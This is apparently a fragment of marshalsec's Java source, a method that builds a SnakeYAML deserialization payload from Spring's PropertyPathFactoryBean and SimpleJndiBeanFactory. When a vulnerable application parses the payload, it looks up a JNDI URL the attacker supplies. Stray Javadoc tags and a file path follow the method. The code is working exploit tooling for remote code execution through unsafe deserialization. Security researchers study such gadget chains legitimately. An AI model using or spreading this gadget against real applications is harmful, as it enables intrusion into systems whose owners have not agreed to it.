@Override
    @Args ( minArgs = 1, args = {
        "jndiUrl"
    }, defaultArgs = {
        MarshallerBase.defaultJNDIUrl
    } )
    public Object makePropertyPathFactory ( UtilFactory uf, String[] args ) throws Exception {
        Map<String, String> properties = new LinkedHashMap<>();
        String jndiUrl = args[ 0 ];
        properties.put("targetBeanName", writeString(jndiUrl));
        properties.put("propertyPath", "foo");
        properties.put(
            "beanFactory",
            writeObject(SimpleJndiBeanFactory.class, Collections.singletonMap("shareableResources", writeArray(writeString(jndiUrl))), 1));
        return writeObject(PropertyPathFactoryBean.class, properties);
    }
{@inheritDoc}

@see marshalsec.gadgets.SpringPropertyPathFactory#makePropertyPathFactory(marshalsec.UtilFactory,
     java.lang.String[])
src/main/java/marshalsec/SnakeYAML.java